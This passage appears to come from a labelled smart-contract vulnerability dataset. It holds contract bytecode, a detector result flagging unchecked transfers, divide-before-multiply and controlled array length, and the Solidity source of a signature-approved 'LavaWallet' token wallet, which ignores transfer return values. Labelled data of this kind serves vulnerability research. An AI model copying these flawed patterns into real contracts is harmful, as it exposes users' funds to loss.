50610f4e565b610f1f838583612165565b9250610f3884836000015461214990919063ffffffff16565b8260000181905550428260020181905550600093505b610dff565b610fa886600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461214990919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506110038660085461214990919063ffffffff16565b60088190555061105e83600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461223990919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506111008360055461223990919063ffffffff16565b600581905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156111cb57600080fd5b505af11580156111df573d6000803e3d6000fd5b505050506040513d60208110156111f557600080fd5b810190808051906020019092919050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156112cc57600080fd5b505af11580156112e0573d6000803e3d6000fd5b505050506040513d60208110156112f657600080fd5b8101908080519060200190929190505050507f5bf73990fdbbb1700fedc6b63f17f15c22d262a16352f0fd668471a1e3548ffe3384604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a17f5322e8325014aeb0f999c341770ee4939af85cc55c4f5e03547373cabe18978a3387604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050505050565b600b6020528060005260406000206000915090508060000154908060010154905082565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090508060000154908060010154905082565b6009602052816000526040600020818154811015156114e457fe5b9060005260206000209060030201600091509150508060000154908060010154908060020154905083565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561156a57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160957600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6116556122e5565b6000821115156116cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b60075442101515611746576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5374616b696e6720706f6f6c20697320636c6f7365640000000000000000000081525060200191505060405180910390fd5b61179b82600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461223990919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555060606040519081016040528083815260200142815260200160008152509050600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081908060018154018082558091505090600182039060005260206000209060030201600090919290919091506000820151816000015560208201518160010155604082015181600201555050506118a18260085461223990919063ffffffff16565b600881905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156119a057600080fd5b505af11580156119b4573d6000803e3d6000fd5b505050506040513d60208110156119ca57600080fd5b8101908080519060200190929190505050507f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d3383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600080600080600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454600554600654600754955095509550955095509550909192939495565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020945060009350848054905092505b6000831115611c61578460018403815481101515611b9c57fe5b90600052602060002090600302019150600754421115611c0057611bcf826001015460075461214990919063ffffffff16565b905060008260020154141515611bfb57611bf8826002015460075461214990919063ffffffff16565b90505b611c42565b611c1782600101544261214990919063ffffffff16565b905060008260020154141515611c4157611c3e82600201544261214990919063ffffffff16565b90505b5b611c5184836000015483612165565b9350828060019003935050611b82565b8395505050505050919050565b6000600454905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cd357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611d78576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4e6577206f776e657220697320746865207a65726f206164647265737300000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fe181e59d45ee426a055928ff3e7e85526d4ef2532db1b20262d9bb5d5263d45481604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ea957600080fd5b6000600654141515611f23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506f6f6c207265776172647320616c726561647920736574000000000000000081525060200191505060405180910390fd5b600081111515611fc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f43616e6e6f742063726561746520706f6f6c2077697468207a65726f20616d6f81526020017f756e74000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600481905550426006819055506003544201600781905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156120d357600080fd5b505af11580156120e7573d6000803e3d6000fd5b505050506040513d60208110156120fd57600080fd5b8101908080519060200190929190505050507f9995276a5cbceb87f6c2a87b816fb85911a01e6eec7c9380558cbaaca1d62bdf816040518082815260200191505060405180910390a150565b600082821115151561215a57600080fd5b818303905092915050565b600080600080612188670de0b6b3a764000060045461225a90919063ffffffff16565b92506000831415156121ac576121a96003548461229890919063ffffffff16565b92505b600083111561222a576121ca6008548461229890919063ffffffff16565b91506121f1856121e3888561225a90919063ffffffff16565b61225a90919063ffffffff16565b905061220e670de0b6b3a76400008261229890919063ffffffff16565b9050612223818861223990919063ffffffff16565b935061222f565b600093505b5050509392505050565b600080828401905083811015151561225057600080fd5b8091505092915050565b600080600084141561226f5760009150612291565b828402905082848281151561228057fe5b0414151561228d57600080fd5b8091505b5092915050565b60008082848115156122a657fe5b0490508091505092915050565b8154818355818111156122e0576003028160030283600052602060002091820191016122df9190612307565b5b505050565b6060604051908101604052806000815260200160008152602001600081525090565b61233b91905b8082111561233757600080820160009055600182016000905560028201600090555060030161230d565b5090565b905600a165627a7a7230582042c612137bcdd3559d589b8541147494c483a1f828d7c5d971ef38ad6e88d36d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,629 |
0x2f9cc1042d889353caf2e346b63ccfec985ae515
|
pragma solidity ^0.4.18;
/*
This is a token wallet contract
Store your tokens in this contract to give them super powers
Tokens can be spent from the contract with only an ecSignature from the owner - onchain approve is not needed
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
library ECRecovery {
/**
* @dev Recover signer address from a message by using their signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//wEth interface
contract WrapperInterface
{
function() public payable;
function deposit() public payable ;
function withdraw(uint wad) public;
function totalSupply() public view returns (uint);
function approve(address guy, uint wad) public returns (bool success);
function transfer(address dst, uint wad) public returns (bool success);
function transferFrom(address src, address dst, uint wad) public returns (bool);
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract LavaWallet is Owned {
using SafeMath for uint;
// balances[tokenContractAddress][EthereumAccountAddress] = 0
mapping(address => mapping (address => uint256)) balances;
//token => owner => spender : amount
mapping(address => mapping (address => mapping (address => uint256))) allowed;
mapping(bytes32 => uint256) burnedSignatures;
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event Transfer(address indexed from, address indexed to,address token, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender,address token, uint tokens);
function LavaWallet() public {
}
//do not allow ether to enter
function() public payable {
revert();
}
//Remember you need pre-approval for this - nice with ApproveAndCall
function depositTokens(address from, address token, uint256 tokens ) public returns (bool success)
{
//we already have approval so lets do a transferFrom - transfer the tokens into this contract
ERC20Interface(token).transferFrom(from, this, tokens);
balances[token][from] = balances[token][from].add(tokens);
Deposit(token, from, tokens, balances[token][from]);
return true;
}
//No approve needed, only from msg.sender
function withdrawTokens(address token, uint256 tokens) public {
balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
ERC20Interface(token).transfer(msg.sender, tokens);
Withdraw(token, msg.sender, tokens, balances[token][msg.sender]);
}
//Requires approval so it can be public
function withdrawTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
ERC20Interface(token).transfer(to, tokens);
Withdraw(token, from, tokens, balances[token][from]);
return true;
}
function balanceOf(address token,address user) public constant returns (uint) {
return balances[token][user];
}
//Can also be used to remove approval by using a 'tokens' value of 0
function approveTokens(address spender, address token, uint tokens) public returns (bool success) {
allowed[token][msg.sender][spender] = tokens;
Approval(msg.sender, token, spender, tokens);
return true;
}
//No approve needed, only from msg.sender
function transferTokens(address to, address token, uint tokens) public returns (bool success) {
balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(msg.sender, token, to, tokens);
return true;
}
//Can be public because it requires approval
function transferTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(token, from, to, tokens);
return true;
}
//Nonce is the same thing as a 'check number'
//EIP 712
function getLavaTypedDataHash( address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce) public constant returns (bytes32)
{
bytes32 hardcodedSchemaHash = 0x313236b6cd8d12125421e44528d8f5ba070a781aeac3e5ae45e314b818734ec3 ;
bytes32 typedDataHash = sha3(
hardcodedSchemaHash,
sha3(from,to,this,token,tokens,relayerReward,expires,nonce)
);
return typedDataHash;
}
function approveTokensWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//bytes32 sigHash = sha3("\x19Ethereum Signed Message:\n32",this, from, to, token, tokens, relayerReward, expires, nonce);
bytes32 sigHash = getLavaTypedDataHash(from,to,token,tokens,relayerReward,expires,nonce);
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
//make sure the signer is the depositor of the tokens
if(from != recoveredSignatureSigner) revert();
//make sure the signature has not expired
if(block.number > expires) revert();
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1; //spent
if(burnedSignature != 0x0 ) revert();
//approve the relayer reward
allowed[token][from][msg.sender] = relayerReward;
Approval(from, token, msg.sender, relayerReward);
//transferRelayerReward
if(!transferTokensFrom(from, msg.sender, token, relayerReward)) revert();
//approve transfer of tokens
allowed[token][from][to] = tokens;
Approval(from, token, to, tokens);
return true;
}
//The tokens are withdrawn from the lava wallet and transferred into the To account
function withdrawTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
if(!approveTokensWithSignature(from,to,token,tokens,relayerReward,expires,nonce,signature)) revert();
//it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though
if(!withdrawTokensFrom( from, to, token, tokens)) revert();
return true;
}
//the tokens remain in lava wallet
function transferTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
if(!approveTokensWithSignature(from,to,token,tokens,relayerReward,expires,nonce,signature)) revert();
//it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though
if(!transferTokensFrom( from, to, token, tokens)) revert();
return true;
}
function tokenAllowance(address token, address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[token][tokenOwner][spender];
}
function burnSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(from,to,token,tokens,relayerReward,expires,nonce);
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
//make sure the invalidator is the signer
if(recoveredSignatureSigner != from) revert();
//make sure this signature has never been used
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2; //invalidated
if(burnedSignature != 0x0 ) revert();
return true;
}
//2 is burned
//1 is redeemed
function signatureBurnStatus(bytes32 digest) public view returns (uint)
{
return (burnedSignatures[digest]);
}
/*
Receive approval to spend tokens and perform any action all in one transaction
*/
function receiveApproval(address from, uint256 tokens, address token, bytes data) public returns (bool success) {
return depositTokens(from, token, tokens );
}
/*
Approve lava tokens for a smart contract and call the contracts receiveApproval method all in one fell swoop
*/
function approveAndCall(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature, bytes data) public returns (bool success) {
if(!approveTokensWithSignature(from,to,token,tokens,relayerReward,expires,nonce,signature)) revert();
ApproveAndCallFallBack(to).receiveApproval(from, tokens, token, data);
return true;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306b091f914610122578063094171101461016f57806320acbc83146101b457806339dc5ef2146102bd5780633e9ed7e4146103425780634b17bdd81461044b57806379ba5097146104f05780638da5cb5b146105075780638e8758d81461055e5780638f4ffcb1146105f5578063912d6e28146106c0578063a51fbb3f14610745578063a64b6e5f1461084e578063a9ff2a5e146108d3578063b0e0ef09146109dc578063c6d2cb6a14610a81578063d4ee1d9014610b48578063dc39d06d14610b9f578063dc47e5b714610c04578063f2fde38b14610d53578063f7888aec14610d96575b600080fd5b34801561012e57600080fd5b5061016d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e0d565b005b34801561017b57600080fd5b5061019e6004803603810190808035600019169060200190929190505050611122565b6040518082815260200191505060405180910390f35b3480156101c057600080fd5b506102a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611147565b604051808215151515815260200191505060405180910390f35b3480156102c957600080fd5b50610328600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061118b565b604051808215151515815260200191505060405180910390f35b34801561034e57600080fd5b50610431600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506114dd565b604051808215151515815260200191505060405180910390f35b34801561045757600080fd5b506104d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116ac565b604051808215151515815260200191505060405180910390f35b3480156104fc57600080fd5b50610505611afa565b005b34801561051357600080fd5b5061051c611c99565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056a57600080fd5b506105df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cbe565b6040518082815260200191505060405180910390f35b34801561060157600080fd5b506106a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611d83565b604051808215151515815260200191505060405180910390f35b3480156106cc57600080fd5b5061072b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d9a565b604051808215151515815260200191505060405180910390f35b34801561075157600080fd5b50610834600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611efe565b604051808215151515815260200191505060405180910390f35b34801561085a57600080fd5b506108b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061239f565b604051808215151515815260200191505060405180910390f35b3480156108df57600080fd5b506109c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612663565b604051808215151515815260200191505060405180910390f35b3480156109e857600080fd5b50610a67600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126a7565b604051808215151515815260200191505060405180910390f35b348015610a8d57600080fd5b50610b2a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612b4f565b60405180826000191660001916815260200191505060405180910390f35b348015610b5457600080fd5b50610b5d612cf3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bab57600080fd5b50610bea600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612d19565b604051808215151515815260200191505060405180910390f35b348015610c1057600080fd5b50610d39600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612e7d565b604051808215151515815260200191505060405180910390f35b348015610d5f57600080fd5b50610d94600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613007565b005b348015610da257600080fd5b50610df7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506130a6565b6040518082815260200191505060405180910390f35b610e9c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610fbf57600080fd5b505af1158015610fd3573d6000803e3d6000fd5b505050506040513d6020811015610fe957600080fd5b8101908080519060200190929190505050507ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567823383600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b6000600460008360001916600019168152602001908152602001600020549050919050565b60006111598989898989898989611efe565b151561116457600080fd5b611170898989896126a7565b151561117b57600080fd5b6001905098975050505050505050565b60008273ffffffffffffffffffffffffffffffffffffffff166323b872dd8530856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561126457600080fd5b505af1158015611278573d6000803e3d6000fd5b505050506040513d602081101561128e57600080fd5b81019080805190602001909291905050505061132f82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314690919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7838584600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a1600190509392505050565b6000806000806114f28c8c8c8c8c8c8c612b4f565b92507361388904afac03beb15173340dfe3e634fcd7c166319045a2584876040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561158957808201518184015260208101905061156e565b50505050905090810190601f1680156115b65780820380516001836020036101000a031916815260200191505b50935050505060206040518083038186803b1580156115d457600080fd5b505af41580156115e8573d6000803e3d6000fd5b505050506040513d60208110156115fe57600080fd5b810190808051906020019092919050505091508b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151561164b57600080fd5b60046000846000191660001916815260200190815260200160002054905060026004600085600019166000191681526020019081526020016000208190555060008114151561169957600080fd5b6001935050505098975050505050505050565b600061173d82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061188982600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312d90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526